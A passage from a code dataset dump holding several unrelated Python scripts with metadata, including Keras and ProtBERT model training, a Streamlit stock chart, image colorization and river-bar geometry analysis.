options_query_set[i]\n option['comments'] = comments\n option['time'] = {'startDate': option['startDate'], 'endDate': option['endDate']}\n del option['startDate']\n del option['endDate']\n options_list.append(option)\n return options_list\n\n @staticmethod\n def get_light_weight_options(option_id):\n options_query_set = Options.objects.filter(id = option_id).values(\"id\", \"label\", \"startDate\", \"endDate\")\n options_list = list()\n for i in range(options_query_set.count()):\n option = options_query_set[i]\n option['time'] = {'startDate': option['startDate'], 'endDate': option['endDate']}\n del option['startDate']\n del option['endDate']\n options_list.append(option)\n return options_list\n","sub_path":"back_end/web_API/dataAccessLayer/Option.py","file_name":"Option.py","file_ext":"py","file_size_in_byte":1382,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"350671845","text":"'1.创建一个Scrollbar'''\nfrom tkinter import *\nfrom tkinter.messagebox import showinfo\nfrom tkinter import ttk\nimport ss\nroot = Tk()\nroot.geometry('200x200')\ne=Entry(root,show=None)\ne.pack()\ndef reply():\n var = e.get()\n a = ss.getHTML(var)\n f = open(\"1.txt\",\"r\",encoding=\"utf-8\")\n text = f.read()\n showinfo(title=\"1\",message=text)\ns = Button(root,text = \"搜索\",command = reply)\ns.pack()\nroot.mainloop()\n","sub_path":"vv.py","file_name":"vv.py","file_ext":"py","file_size_in_byte":423,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"289244315","text":"import numpy as np\nimport pandas as pd\nfrom keras.callbacks import EarlyStopping\nfrom keras.callbacks import TensorBoard\nfrom keras.callbacks import ModelCheckpoint\nfrom keras.layers import Dense, Dropout, Activation, Flatten\nfrom keras.layers import MaxPooling2D\nfrom keras.layers.convolutional import Conv2D\nfrom keras.models import Sequential\nfrom keras.utils import np_utils\n#from keras.utils import multi_gpu_model\nfrom sklearn.metrics import precision_score\nfrom sklearn.metrics import recall_score\nfrom sklearn.model_selection import train_test_split\nfrom keras.models import Sequential, save_model, load_model\n\ndef split_data(X, y, train_test_size):\n \"\"\"\n Split data into test and training datasets.\n\n INPUT\n X: NumPy array of arrays\n y: Pandas series, which are the labels for input array X\n train_test_size: size of test/train split. Value from 0 to 1\n\n OUPUT\n Four arrays: X_train, X_test, y_train, and y_test\n \"\"\"\n return train_test_split(X, y, test_size=train_test_size, random_state=42)\n\n\ndef format_data(array, image_rows, image_cols, channels):\n \"\"\"\n Reshapes the data into format for CNN.\n\n INPUT\n array: array of numpy arrays.\n image_rows: Image height\n image_cols: Image width\n channels: Specify if the image is grayscale (1) or RGB (3)\n\n OUTPUT\n Reshaped array of NumPy arrays.\n \"\"\"\n return array.reshape(array.shape[0], image_rows, image_cols, channels)\n\n\ndef cnn_model(X_train, y_train, kernel_size, nb_filters, channels, nb_epoch, batch_size, nb_classes):\n \"\"\"\n Define and run the Convolutional Neural Network\n\n INPUT\n X_train array of numpy arrays\n X_test: array of numpy arrays\n y_train: label array\n y_test: label array\n kernel_size: kernel size\n nb_filters: filter size\n channels: specify if the image is grayscale (1) or RGB (3)\n nb_epoch: number of epochs\n batch_size: How many images to load into memory for training\n nb_classes: number of classes for classification\n\n OUTPUT\n Fitted CNN model\n \"\"\"\n\n\n model = Sequential()\n\n model.add(Conv2D(nb_filters, (kernel_size[0], kernel_size[1]),\n padding='valid',\n strides=1,\n input_shape=(image_rows, image_cols, channels), activation=\"relu\"))\n\n model.add(Conv2D(nb_filters, (kernel_size[0], kernel_size[1]), activation=\"relu\"))\n model.add(Conv2D(nb_filters, (kernel_size[0], kernel_size[1]), activation=\"relu\"))\n\n\n model.add(MaxPooling2D(pool_size=(2, 2)))\n model.add(Flatten())\n print(\"Model flattened out to: \", model.output_shape)\n\n model.add(Dense(128))\n model.add(Activation('sigmoid'))\n model.add(Dropout(0.25))\n\n model.add(Dense(nb_classes))\n model.add(Activation('softmax'))\n\n\n model.compile(loss='binary_crossentropy', optimizer='SGD', metrics=['accuracy'])\n #stop = EarlyStopping(monitor='val_acc', min_delta=0.001, patience=4, verbose=0, mode='auto')\n\n\n tensor_board = TensorBoard(log_dir='C:/work/Stage5/model', histogram_freq=0, write_graph=True, write_images=True)\n #Save checkpoint (Basically saves the weights)\n filepath = \"C:/work/Stage5/model/weights_best.hdf5\"\n checkpoint = ModelCheckpoint(filepath, monitor='val_acc', verbose=1, save_best_only=True, mode='max')\n callbacks_list = [checkpoint, tensor_board]\n #Load previously trained model for retraining. If there is no model, then comment out.\n model = load_model('C:/work/model/DR_Two_Classes1.0.h5')\n\n\n #Fitting model\n model.fit(X_train, y_train, batch_size=batch_size, epochs=nb_epoch,\n verbose=1,\n validation_split=0.2,\n class_weight='auto',\n #callbacks=[stop, tensor_board, callbacks_list]\n callbacks=callbacks_list)\n\n return model\n\n\ndef save_model(model, score, name):\n \"\"\"\n Saves Keras model to an h5 file, based on precision_score\n\n INPUT\n model: Keras model object to be saved\n score: Score to determine if model should be saved.\n model_name: name of model to be saved\n \"\"\"\n\n if score >= 0.7:\n print(\"Saving Model\")\n model.save(\"C:/work/Stage5/model/\" + name + str(round(score)) + \".h5\")\n else:\n print(\"Model Not Saved. Score: \", score)\n\nif __name__ == '__main__':\n # Specify parameters before model is run.\n batch_size = 25\n nb_classes = 2\n nb_epoch = 5\n\n image_rows, image_cols = 256, 256\n channels = 3\n nb_filters = 32\n kernel_size = (8, 8)\n\n # Import data\n\n labels = pd.read_csv(\"C:/work/Stage5/labels/trainLabels_master_256_v2.csv\")\n X = np.load(\"C:/work/Stage5/labels/X_train.npy\")\n y = np.array([1 if l >= 1 else 0 for l in labels['level']])\n\n print(\"Splitting data into test/train datasets\")\n X_train, X_test, y_train, y_test = split_data(X, y, 0.2)\n\n print(\"Formatting Data\")\n X_train = format_data(X_train, image_rows, image_cols, channels)\n X_test = format_data(X_test, image_rows, image_cols, channels)\n\n print(\"X_train Shape: \", X_train.shape)\n print(\"X_test Shape: \", X_test.shape)\n\n input_shape = (image_rows, image_cols, channels)\n\n print(\"Normalizing Data\")\n X_train = X_train.astype('float32')\n X_test = X_test.astype('float32')\n\n X_train /= 255\n X_test /= 255\n\n y_train = np_utils.to_categorical(y_train, nb_classes)\n y_test = np_utils.to_categorical(y_test, nb_classes)\n print(\"y_train Shape: \", y_train.shape)\n print(\"y_test Shape: \", y_test.shape)\n\n print(\"Training Model\")\n\n model = cnn_model(X_train, y_train, kernel_size, nb_filters, channels, nb_epoch, batch_size,\n nb_classes)\n\n\n print(\"Predicting\")\n y_pred = model.predict(X_test)\n\n score = model.evaluate(X_test, y_test, verbose=1)\n print('Test score:', score[0])\n print('Test accuracy:', score[1])\n\n y_test = np.argmax(y_test, axis=1)\n y_pred = np.argmax(y_pred, axis=1)\n\n precision = precision_score(y_test, y_pred)\n recall = recall_score(y_test, y_pred)\n\n print(\"Precision: \", precision)\n print(\"Recall: \", recall)\n\n save_model(model=model, score=recall, model_name=\"DR_Two_Classes\")\n print(\"Completed\")","sub_path":"src/retrainCNN.py","file_name":"retrainCNN.py","file_ext":"py","file_size_in_byte":6286,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"636830864","text":"from enum import unique\nimport numpy as np\nimport pandas as pd\nfrom transformers import AutoTokenizer, TFAutoModel\nimport tensorflow as tf\nimport sqlite3\nimport os\nimport transformers\nimport matplotlib.pyplot as plt\n\nMAX_LEN = 512\nBATCH_SIZE = 64 # Possible Values: 4/8/16/32\nDATA_SIZE =100000\ncon = sqlite3.connect('[DATA]\\Enzymes.db')\n\ndataset = pd.read_sql_query(\"SELECT ec_number_one, ec_number_two, ec_number_three, sequence_string FROM EntriesReady LIMIT ('{0}')\".format(DATA_SIZE), con)\n\nprint(dataset)\n\ntokenizer = AutoTokenizer.from_pretrained('Rostlab/prot_bert_bfd', do_lower_case=False, )\n\nXids = np.zeros((len(dataset), MAX_LEN))\nXmask = np.zeros((len(dataset), MAX_LEN))\n\nprint(\"XIDS SHAPE\")\nprint(Xids.shape)\n\nfor i, sequence in enumerate(dataset['sequence_string']):\n tokens = tokenizer.encode_plus(sequence, max_length=MAX_LEN, truncation=True, padding=\"max_length\",\n add_special_tokens=True, return_token_type_ids=False, return_attention_mask=True, return_tensors='tf')\n\n Xids[i, :], Xmask[i, :] = tokens['input_ids'], tokens['attention_mask']\n\nprint(\"XIDS\")\nprint(type(Xids))\nprint(\"XMASKS\")\nprint(Xmask)\n\n\nAccumulated_EC=[]\n\n\n\n\nFirst_EC_List= list(dataset['ec_number_one'])\nSecond_EC_List=list(dataset['ec_number_two'])\nThird_EC_List=list(dataset['ec_number_three'])\n\n\n\nprint(First_EC_List)\nprint(Second_EC_List)\n\nfor i in range (len(dataset['ec_number_one'])):\n Accumulated_EC.append((str(First_EC_List[i])+\".\"+ str(Second_EC_List[i])+\".\"+str(Third_EC_List[i])))\n \n\n \n\nfrom numpy import array\nfrom numpy import argmax\nfrom sklearn.preprocessing import LabelEncoder\nfrom sklearn.preprocessing import OneHotEncoder\n# define example\ndata =Accumulated_EC\nvalues = array(data)\nprint(values)\narray=np.unique(values)\nArraySize=len(array)\n# integer encode\nlabel_encoder = LabelEncoder()\ninteger_encoded = label_encoder.fit_transform(values)\nprint(integer_encoded)\n# binary encode\nonehot_encoder = OneHotEncoder(sparse=False)\ninteger_encoded = integer_encoded.reshape(len(integer_encoded), 1)\nonehot_encoded = onehot_encoder.fit_transform(integer_encoded)\nprint(onehot_encoded)\n# invert first example\ninverted = label_encoder.inverse_transform([argmax(onehot_encoded[0, :])])\nprint(inverted)\n\n\n\n\n\nlabels=onehot_encoded\n\nprint(\"Labels Shape\")\nprint(labels.shape)\n\n \n\nprint(\"LABELS\")\nprint(labels)\n\n# # Below code is for off loading the data\n\n# with open('xids.npy','wb') as f:\n# np.save(f,Xids)\n# with open('xmask.npy','wb') as f:\n# np.save(f,Xmask)\n# with open('labels.npy','wb') as f:\n# np.save(f,labels)\n\n\n# Below code is for load the data\n\n# with open(r'C:\\Users\\ugur_\\Desktop\\Projects\\Protein-Active-Site-w-ML\\xids.npy','rb') as fp:\n# Xids=np.load(fp)\n\n# with open(r'C:\\Users\\ugur_\\Desktop\\Projects\\Protein-Active-Site-w-ML\\xmask.npy','rb') as fp:\n# Xmask=np.load(fp)\n\n# with open(r'C:\\Users\\ugur_\\Desktop\\Projects\\Protein-Active-Site-w-ML\\labels.npy','rb') as fp:\n# labels=np.load(fp)\n\ntensorflow_dataset = tf.data.Dataset.from_tensor_slices((Xids, Xmask, labels))\n\nprint(\"DATASET ON TENSOR FLOW EXAMPLE\")\nfor i in tensorflow_dataset.take(1):\n print(i)\n\n\ndef map_func(input_ids, masks, labels):\n return {'input_ids': input_ids, 'attention_mask': masks}, labels\n\n\ntensorflow_dataset = tensorflow_dataset.map(map_func)\n\nfor i in tensorflow_dataset.take(1):\n print(i)\n\ntensorflow_dataset = tensorflow_dataset.shuffle(100000).batch(BATCH_SIZE)\n\nDS_LEN = len(list(tensorflow_dataset))\n\nprint(DS_LEN)\n\nSPLIT = .9\n\ntrain = tensorflow_dataset.take(round(DS_LEN * SPLIT))\nval = tensorflow_dataset.skip(round(DS_LEN * SPLIT))\n\n\nbert = TFAutoModel.from_pretrained('Rostlab/prot_bert_bfd')\n\ninput_ids = tf.keras.layers.Input(shape=(MAX_LEN,), name='input_ids', dtype='int32')\nmask = tf.keras.layers.Input(shape=(MAX_LEN,), name='attention_mask', dtype='int32')\n\nembeddings = bert.bert(input_ids, attention_mask=mask)[0]\n\nX = tf.keras.layers.GlobalMaxPooling1D()(embeddings)\nX = tf.keras.layers.BatchNormalization()(X)\nX = tf.keras.layers.Dense(1024, activation='sigmoid')(X) \nX = tf.keras.layers.Dropout(0.1)(X)\nX = tf.keras.layers.Dense(512, activation='sigmoid')(X)\ny = tf.keras.layers.Dense((ArraySize), activation='sigmoid', name='outputs')(X)\n\nmodel = tf.keras.Model(inputs=[input_ids, mask], outputs=[y])\n\nmodel.layers[2].trainable = False\nmodel.summary()\n\noptimizer = tf.keras.optimizers.Adam(0.01)\nloss = tf.keras.losses.CategoricalCrossentropy()\nacc = tf.keras.metrics.CategoricalAccuracy('accuracy')\n\nmodel.compile(optimizer=optimizer, loss=loss, metrics=[acc])\n\nhistory = model.fit(\n train,\n validation_data=val,\n epochs=9,\n)\n\nmodel.save(\"EC_Prediction(Three-Sigmoid)\")\nprint(history)\n\n\n\n# summarize history for accuracy\nplt.plot(history.history['accuracy'])\nplt.plot(history.history['val_accuracy'])\nplt.title('model accuracy')\nplt.ylabel('accuracy')\nplt.xlabel('epoch')\nplt.legend(['train', 'test'], loc='upper left')\nplt.show()\n# summarize history for loss\nplt.plot(history.history['loss'])\nplt.plot(history.history['val_loss'])\nplt.title('model loss')\nplt.ylabel('loss')\nplt.xlabel('epoch')\nplt.legend(['train', 'test'], loc='upper left')\nplt.show()\n","sub_path":"Modules/EC_Prediction_Modules/EC_Third_Prediction.py","file_name":"EC_Third_Prediction.py","file_ext":"py","file_size_in_byte":5157,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"88531471","text":"\nfrom Tokenization_for_Translation import Corpus\nfrom Vectorization import WordsToVec\nfrom Translator import Translator\nimport pickle\n\nfile = open('./Data/T2_data_test.pt', 'rb')\ndf = pickle.load(file)[:300]\n\nGerman_corpus = Corpus()\nEnglish_corpus = Corpus()\nGerman_corpus.load_vocab('./Parameters/German_corpus1k.pt')\nEnglish_corpus.load_vocab('./Parameters/English_corpus1k.pt')\n\n\n\nGerman_vectorizer = WordsToVec(German_corpus, 150)\nEnglish_vectorizer = WordsToVec(English_corpus, 150)\n\nGerman_vectorizer.load_model_state('./Parameters/German_vectors_150d')\nEnglish_vectorizer.load_model_state('./Parameters/English_vectors_150d')\n\nmy_translator = Translator(German_corpus, English_corpus, German_vectorizer, English_vectorizer,\n dec_GRU_count=2, enc_GRU_count=2, hidden_size=128, use_feedforward=True)\n\nmy_translator.load_model('./Parameters/translator_feedforwardatt_epoch50.pt')\n\nprint(my_translator.test(df))\n\n\n# batch, _ = my_translator.pre_processing(df[:200])\n# batch = my_translator.batch_prep(batch[:10], target_as_text=True)\n\n# my_translator.test_batch(batch)\n\n\n","sub_path":"Translator/Translator_testing.py","file_name":"Translator_testing.py","file_ext":"py","file_size_in_byte":1101,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"7429683","text":"import yfinance as yf\nimport streamlit as st\nimport datetime\nimport plotly.graph_objects as go\n\n# st.write(\"# 주식 데이터 시각화\")\n\"# 주식 데이터 시각화\"\n\nticker = st.text_input(\"티커 입력\")\ndata = yf.Ticker(ticker)\ntoday = datetime.datetime.today().strftime(\"%Y-%m-%d\")\ndf = data.history(period=\"1d\",\n start=\"2015-1-1\",\n end=today)\nst.dataframe(df)\n\n\"## 주가 차트 - 종가 기준\"\nst.line_chart(df[\"Close\"])\n\n\"## 주가 차트 - 캔들 차트\"\nlayout = go.Layout()\ndata = go.Candlestick(x=df.index,\n open=df[\"Open\"], close=df[\"Close\"],\n low=df[\"Low\"], high=df[\"High\"])\nfig = go.Figure(data=[data], layout=layout)\nst.plotly_chart(fig)\n\n\"## 거래량\"\nst.bar_chart(df[\"Volume\"])","sub_path":"21_streamlit_주식차트.py","file_name":"21_streamlit_주식차트.py","file_ext":"py","file_size_in_byte":739,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"120867402","text":"from data import colorize_image as CI\r\nimport matplotlib.pyplot as plt\r\nimport numpy as np\r\nfrom skimage import color\r\nimport cv2\r\nimport os\r\n\r\ndef color_scribble(input_path, scribble_path):\r\n\t# Choose gpu to run the model on\r\n\tgpu_id = 0\r\n\t# Initialize colorization class\r\n\tcolorModel = CI.ColorizeImageCaffe(Xd=256)\r\n\t# Load the model\r\n\tcolorModel.prep_net(gpu_id,'./models/reference_model/deploy_nodist.prototxt','./models/reference_model/model.caffemodel')\r\n\t# Load the image\r\n\tcolorModel.load_image(input_path) # load an image\r\n\r\n\t# initialize with no user inputs\r\n\t#input_ab = np.zeros((2,256,256))\r\n\t#mask = np.zeros((1,256,256))\r\n\t\r\n\tScribble = cv2.imread(scribble_path, 1)\r\n\t#print('scribble_path', scribble_path)\r\n\tScribble = cv2.resize(Scribble, (256, 256))\r\n\tScribble = cv2.cvtColor(Scribble, cv2.COLOR_BGR2RGB)\r\n\timg_lab = color.rgb2lab(Scribble).transpose((2, 0, 1))\r\n\tmask = np.clip(img_lab[[0], :, :] * 100, 0, 1)\r\n\tinput_ab = img_lab[1:, :, :]\r\n\t\r\n\t# call forward\r\n\timg_out = colorModel.net_forward(input_ab,mask)\r\n\r\n\t# get mask, input image, and result in full resolution\r\n\tmask_fullres = colorModel.get_img_mask_fullres() # get input mask in full res\r\n\timg_in_fullres = colorModel.get_input_img_fullres() # get input image in full res\r\n\timg_out_fullres = colorModel.get_img_fullres() # get image at full resolution\r\n\t\r\n\treturn mask_fullres, img_in_fullres, img_out\r\n\t\r\n\r\n\r\ninput_paths = '/home/ztt/lty/ILSVRC2012_val_256_DnCNN_denoised(second_step)'\r\nscribble_paths = '/home/ztt/lty/ILSVRC2012_val_256_colorscribble'\r\noutput_paths = '/home/ztt/lty/hint_ILSVRC2012_val_256_DnCNN_denoised(second_step)'\r\ncount = 0\r\n\r\nflies = os.listdir(input_paths) \r\n\r\nfor filename in flies:\r\n\tif count < 49000:\r\n\t\tprint(count)\r\n\t\tcount += 1\r\n\telse:\r\n\t\tinput_path = input_paths + '/' + filename\r\n\t\tpngfilename = filename.split('.')[0]\r\n\t\tscribble_path = scribble_paths + '/' + pngfilename + '.png'\r\n\t\tmask_fullres_path = output_paths + '/mask_' + filename\r\n\t\timg_in_fullres_path = output_paths + '/in_' + filename\r\n\t\timg_out_fullres_path = output_paths + '/' + filename\r\n\t\t#print(input_path)\r\n\t\tmask_fullres, img_in_fullres, img_out_fullres = color_scribble(input_path, scribble_path)\r\n\t\timg_out_fullres = cv2.cvtColor(img_out_fullres, cv2.COLOR_BGR2RGB)\r\n\t\tScribble = cv2.imread(scribble_path, 1)\r\n\r\n\t\t#cv2.imwrite(mask_fullres_path, Scribble)\r\n\t\t#cv2.imwrite(img_in_fullres_path, img_in_fullres)\r\n\t\tcv2.imwrite(img_out_fullres_path, img_out_fullres)\r\n\t\tprint(count)\r\n\t\tcount += 1\r\n\r\n\r\n\r\n","sub_path":"Color_Scribble_large2.py","file_name":"Color_Scribble_large2.py","file_ext":"py","file_size_in_byte":2490,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"220484981","text":"import argparse\nimport errno\nimport json\nimport os\nimport sys\n\nimport gdal\nimport osr\nimport numpy as np\nimport pandas\nfrom pyproj import Proj\n\nfrom BarHandler import BarHandler\nfrom RasterHandler import RasterHandler\nfrom RiverHandler import RiverHandler\n\n\ndef main(DEMpath, CenterlinePath, BarPath, esaPath, \n CenterlineSmoothing, SectionLength, SectionSmoothing, \n WidthSens, OutputRoot):\n\n # Raise Errors if files don't exists\n if not os.path.exists(DEMpath):\n raise FileNotFoundError(\n errno.ENOENT, os.strerror(errno.ENOENT), DEMpath)\n if not os.path.exists(CenterlinePath):\n raise FileNotFoundError(\n errno.ENOENT, os.strerror(errno.ENOENT), CenterlinePath)\n if not os.path.exists(BarPath):\n raise FileNotFoundError(\n errno.ENOENT, os.strerror(errno.ENOENT), BarPath)\n if not os.path.exists(esaPath):\n raise FileNotFoundError(\n errno.ENOENT, os.strerror(errno.ENOENT), esaPath)\n \n # Initialize classes, objects, get ProjStr\n riv = RiverHandler()\n rh = RasterHandler()\n ds = gdal.Open(DEMpath, 0)\n water_ds = gdal.Open(esaPath, 0)\n ProjStr = \"epsg:{0}\".format(\n osr.SpatialReference(\n wkt=ds.GetProjection()\n ).GetAttrValue('AUTHORITY', 1)\n )\n\n # Load the Centerline Coordinates File\n print('Loading the Centerline File')\n coordinates = pandas.read_csv(\n CenterlinePath,\n names=['Longitude', 'Latitude'],\n header=1,\n# index_col=[0]\n )\n\n # Smooth the river centerline\n print('Smoothing the river centerline')\n coordinates['Longitude'], coordinates['Latitude'] = riv.knn_smoothing(\n coordinates, n=CenterlineSmoothing\n )\n# coordinates['Latitude'], coordinates['Longitude'] = riv.knn_smoothing(\n# coordinates, n=CenterlineSmoothing\n# )\n\n # Convert centerline in Lat-Lon to UTM\n print('Converting coordinates to UTM')\n myProj = Proj(ProjStr)\n coord_transform = pandas.DataFrame(\n columns=['lon', 'lat', 'easting', 'northing']\n )\n for idx, row in coordinates.iterrows():\n # lat, lon -> utm\n east, north = myProj(row['Latitude'], row['Longitude'])\n df = pandas.DataFrame(\n data=[[row['Longitude'], row['Latitude'], east, north]],\n columns=['lat', 'lon', 'easting', 'northing']\n )\n coord_transform = coord_transform.append(df)\n\n coordinates = coord_transform.reset_index(drop=True)\n\n # Loading DEM data and metadata\n print('Loading DEM Data and MetaData')\n dem = ds.ReadAsArray()\n transform = ds.GetGeoTransform()\n dem_transform = {\n 'xOrigin': transform[0],\n 'yOrigin': transform[3],\n 'pixelWidth': transform[1],\n 'pixelHeight': -transform[5]\n }\n dem_transform['xstep'], dem_transform['ystep'] = rh.get_pixel_size(\n DEMpath\n )\n\n # Loading Water Surface data and metadata\n water = water_ds.ReadAsArray()\n transform = water_ds.GetGeoTransform()\n water_transform = {\n 'xOrigin': transform[0],\n 'yOrigin': transform[3],\n 'pixelWidth': transform[1],\n 'pixelHeight': -transform[5]\n }\n water_transform['xstep'], water_transform['ystep'] = rh.get_pixel_size(\n DEMpath\n )\n\n # Find what portion of centerline is within the DEM\n coordinates = rh.coordinates_in_dem(\n coordinates, \n ds,\n ('easting', 'northing')\n )\n\n # Downsample if you want\n step = 3\n coordinates = coordinates.iloc[::step, :]\n\n if len(coordinates) == 0:\n sys.exit(\"No coordinates\")\n \n # Find the channel direction and inverse channel direction\n print('Finding channel and cross-section directions')\n coordinates = riv.get_direction(coordinates)\n coordinates = riv.get_inverse_direction(coordinates)\n coordinates = coordinates.dropna(axis=0, how='any')\n\n # Save the Coordinates file\n coordinates.to_csv(OutputRoot + 'coordinates.csv')\n\n # Build the cross-section structure\n print('Building channel cross sections')\n types = [\n ('coords', 'object'),\n ('dem_width', 'f8'),\n ('water_width', 'f8'),\n ('bank', 'object'),\n ('elev_section', 'object'),\n ('water_section', 'object'),\n ]\n xsections = np.array([], dtype=types)\n # Iterate through each coordinate of the channel centerline\n for idx, row in coordinates.iterrows():\n # Get the cross-section and set-up numpy stucture\n section = np.array(\n tuple(\n [\n (row['easting'], row['northing']),\n None,\n None,\n None,\n rh.get_xsection(\n row,\n dem,\n dem_transform['xOrigin'],\n dem_transform['yOrigin'],\n dem_transform['pixelWidth'],\n dem_transform['pixelHeight'],\n SectionLength,\n dem_transform['xstep'],\n dem_transform['ystep']\n ),\n rh.get_xsection(\n row,\n water,\n water_transform['xOrigin'],\n water_transform['yOrigin'],\n water_transform['pixelWidth'],\n water_transform['pixelHeight'],\n SectionLength,\n water_transform['xstep'],\n water_transform['ystep']\n )\n ]\n ),\n dtype=xsections.dtype\n )\n xsections = np.append(xsections, section)\n\n # Load in the Bar coordinate data\n bh = BarHandler(\n xsections[0]['coords'][0],\n xsections[0]['coords'][1]\n )\n\n # Smooth Cross Sections\n print('Smoothing Cross-Sections')\n for idx, section in np.ndenumerate(xsections):\n print(idx)\n b = riv.xsection_smoothing(\n idx,\n section['elev_section'],\n SectionSmoothing,\n )\n xsections[idx[0]]['elev_section'] = b\n\n print('Finding Channel Widths')\n # Set up channel banks dataframe\n bank_df = pandas.DataFrame(\n columns=[\n 'dem_easting', \n\t 'dem_northing',\n\t 'water_easting',\n\t 'water_northing'\n\t]\n )\n\n # Iterate through exsections to find widths\n for idx, section in np.ndenumerate(xsections):\n # Finds the channel width and associated points\n banks, dem_width, dem_points = riv.find_channel_width(\n xsections[idx[0]]['elev_section'], \n order=WidthSens\n )\n if len(\n xsections[idx[0]]['water_section'][\n xsections[idx[0]]['water_section']['value'] > 0\n ]\n ) > 0:\n water_width, water_points = riv.find_channel_width_surface_water(\n xsections[idx[0]]\n )\n else:\n water_width = None\n water_points = None\n\n # If the program found channel banks will construct banks dataframe\n if banks:\n bank_df = bank_df.append(riv.get_bank_positions(\n xsections[idx[0]]['elev_section'], \n dem_points,\n\t\twater_points\n ))\n\n # Save width values to the major cross-section structure\n xsections[idx[0]]['bank'] = banks\n xsections[idx[0]]['dem_width'] = dem_width\n xsections[idx[0]]['water_width'] = water_width\n\n # Save the Channel Cross Sections Structure\n print('Saving Cross-Section Structure')\n np.save(OutputRoot + 'xsections.npy', xsections)\n\n if len(bank_df) > 0:\n print('Saving Channel Banks')\n bank_df.to_csv(OutputRoot + 'channel_banks.csv')\n\n # Save the width dataframe\n print('Saving Width DataFrame')\n riv.save_channel_widths(xsections).to_csv(OutputRoot + 'width_dataframe.csv')\n\n # Read in the bar file to find the channel bars\n print('Loading Bar .csv file')\n bar_df = pandas.read_csv(\n BarPath,\n names=['Latitude_us', 'Longitude_us', 'Latitude_ds', 'Longitude_ds'],\n header=1\n )\n\n # Convert the Bar Lat Long to UTM Easting Northing\n print('Converting Bar Coordinates to Easting Northing')\n bar_df = bh.convert_bar_to_utm(myProj, bar_df)\n\n # Find the bar coords within the DEM\n print('Find Bars within the DEM')\n bar_df = rh.coordinates_in_dem(\n bar_df, \n ds, \n ('upstream_easting', 'upstream_northing')\n )\n bar_df = rh.coordinates_in_dem(\n bar_df, \n ds, \n ('downstream_easting', 'downstream_northing')\n )\n\n # Make structure that contains the sections for each bar\n print('Making Bar section structure')\n bar_sections = {} \n for idx, bar in bar_df.iterrows():\n sections = bh.get_bar_xsections(\n coordinates,\n xsections,\n bar_df.iloc[idx - 1]\n )\n bar_sections[str(idx)] = sections\n\n # Make structure that contains the sigmoids and only the bar side section\n print('Fitting sigmoid to channel bars')\n bar_widths = {}\n types = [\n ('location', 'object'),\n ('dem_width', 'f8'),\n ('water_width', 'f8'),\n ('sigmoid', 'object'),\n ('easting', 'object'),\n ('northing', 'object'),\n ('distance', 'object'),\n ('elevation', 'object'),\n ]\n\n # Make the dataframe that will keep track of the R-Squared\n r2_df = pandas.DataFrame(columns=['bar', 'idx', 'r2'])\n\n # Run through all of the bars and section\n for bar, sections in bar_sections.items():\n widths = np.array([], dtype=types)\n for idx, section in np.ndenumerate(sections):\n if (\n section['dem_width'] == 'nan' \n ) or (\n not section['bank']\n ) or (\n section['water_width'] == 'nan'\n ):\n width = np.array(\n tuple(\n [\n section[0],\n section['dem_width'],\n section['water_width'],\n None,\n section['elev_section']['easting'],\n section['elev_section']['northing'],\n section['elev_section']['distance'],\n section['elev_section']['value_smooth']\n ]\n ),\n dtype=widths.dtype\n )\n else:\n # Find the side of the channel with the bar\n banks = bh.find_bar_side(section['bank'])\n\n # Flip the cross-sections so that they are all facing the same way\n section, banks = bh.flip_bars(section, banks)\n\n # Find the distance for maximum slope and the maximum slope\n x0, dydx = bh.find_maximum_slope(\n section['elev_section'], \n banks\n )\n\n # Find the minimum and shift the cross-section\n section = bh.shift_cross_section_down(section, banks)\n\n # Fit sigmoid parameters\n popt = bh.fit_sigmoid_parameters(section, banks, x0, dydx)\n # Get the R-Squared\n r2 = bh.get_r_squared(section, banks, popt)\n print(r2)\n\n # I want to try to filter based on R-squared\n if r2 < 0.6:\n width = np.array(\n tuple(\n [\n section[0],\n section['dem_width'],\n section['water_width'],\n None,\n section['elev_section']['easting'],\n section['elev_section']['northing'],\n section['elev_section']['distance'],\n section['elev_section']['value_smooth']\n ]\n ),\n dtype=widths.dtype\n )\n else:\n print('SAVING')\n r2_df = r2_df.append(pandas.DataFrame({\n 'bar': bar,\n 'idx': '{0}_{1}'.format(bar, idx[0]),\n 'r2': r2\n }, index=[idx[0]]))\n # store the sigmoid parameters and the cross section\n width = np.array(\n tuple(\n [\n section[0],\n section['dem_width'],\n section['water_width'],\n popt,\n section['elev_section']['easting'],\n section['elev_section']['northing'],\n section['elev_section']['distance'],\n section['elev_section']['value_smooth']\n ]\n ),\n dtype=widths.dtype\n )\n\n widths = np.append(widths, width)\n\n bar_widths[bar] = widths\n\n # Find the width and height of the channel bars\n print('Finding clinoform width and height')\n columns = [\n 'bar', \n 'idx', \n 'easting', \n 'northing', \n 'channel_width_dem', \n 'channel_width_water', \n 'bar_width',\n 'bar_height'\n ]\n bar_data_df = pandas.DataFrame(columns=columns)\n n = 0\n for bar, sections in bar_widths.items():\n print(bar)\n L_mean = np.median(\n [i['sigmoid'][0] for i in sections if i['sigmoid']]\n )\n for idx, section in np.ndenumerate(sections):\n # Don't track if there is no channel width\n if str(section['dem_width']) == 'nan':\n continue\n\n # Filter out the ill-fit sigmoid parameters\n elif not section['sigmoid']:\n continue\n\n elif (section['sigmoid'][0] / L_mean) < 0.01:\n continue\n\n else:\n # Get the bar width from the sigmoid\n bar_width, bar_height = bh.get_bar_geometry(\n section['distance'],\n section['sigmoid']\n )\n\n try: \n water_width = int(section['water_width'])\n except:\n water_width = None\n # Store data\n data = {\n 'bar': bar,\n 'idx': '{0}_{1}'.format(bar, idx[0]),\n 'easting': section['location'][0],\n 'northing': section['location'][1],\n 'channel_width_dem': int(section['dem_width']),\n 'channel_width_water': water_width,\n 'bar_width': bar_width,\n 'bar_height': bar_height\n }\n\n # Append to dataframe\n bar_data_df = bar_data_df.append(\n pandas.DataFrame(data=data, index=[n])\n )\n n += 1\n\n # Save the bar data\n print('Saving Bar Data')\n bar_data_df.to_csv(OutputRoot + 'bar_data_r2_filt.csv')\n\n # Save the r-squared data\n print('Saving R-Squared')\n r2_df.to_csv(OutputRoot + 